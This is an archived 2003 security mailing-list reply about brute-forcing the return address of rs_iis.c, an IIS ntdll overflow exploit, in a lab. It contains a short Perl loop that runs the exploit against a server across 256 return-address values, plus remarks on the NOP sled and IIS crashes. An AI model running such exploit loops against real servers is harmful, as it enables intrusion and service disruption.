Pantek Library
Hosting Provided By
CybrHost
High Speed Hosting

RE: Generating Hex Numbers to brute force rs_iis.c

From: Joshua Wright <Joshua.Wright(at)jwu.edu>
Date: Wed Apr 02 2003 - 10:17:22 EST


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I'm no perl expert, but this is what I whipped up for a similar test:

$myserver = "pvdnet05";
for ($i = 0; $i < 256; $i++) {
 $retcode = sprintf("%x", $i);
 $exec = "./rs_iis $myserver 80 31337 " . $retcode . "04";  system($exec);
 sleep(1);
}

Note that the last byte of the RET address is not terribly significant, since the NOP sled is ~65K in size and this value is only max 256 bytes significant.

This didn't work well for me, since IIS will sometimes crash without a valid RET address, requiring a server restart. I had meant to look for a way to restart Windows 2000 services from a Linux box with Samba or similar tool, but got bored with it and started trying to exploit something else. :)

pgpkey: http://home.jwu.edu/jwright/pgpkey.htm fingerprint: FDA5 12FC F391 3740 E0AE BDB6 8FE2 FC0A D44B 4A73

> In playing with rs_iis.c (ntdll exploit) in our lab, I've been

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.5.8 for non-commercial use <http://www.pgp.com>

Do you need help?X

iQA/AwUBPor/AY/i/ArUS0pzEQJ75wCeNFPqMa0+AwwuCcYgb7YwRdt98KsAn2HZ Il0dIPyWAX6swPIQfg/LvvQk
=hz0W
-----END PGP SIGNATURE----- Received on Thu Apr 3 13:07:09 2003

This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:07:38 EDT


Contact Us  Legal Notices  Order Services Online 
Pantek Home  Privacy Policy  IT news  Site Map  Pantek Library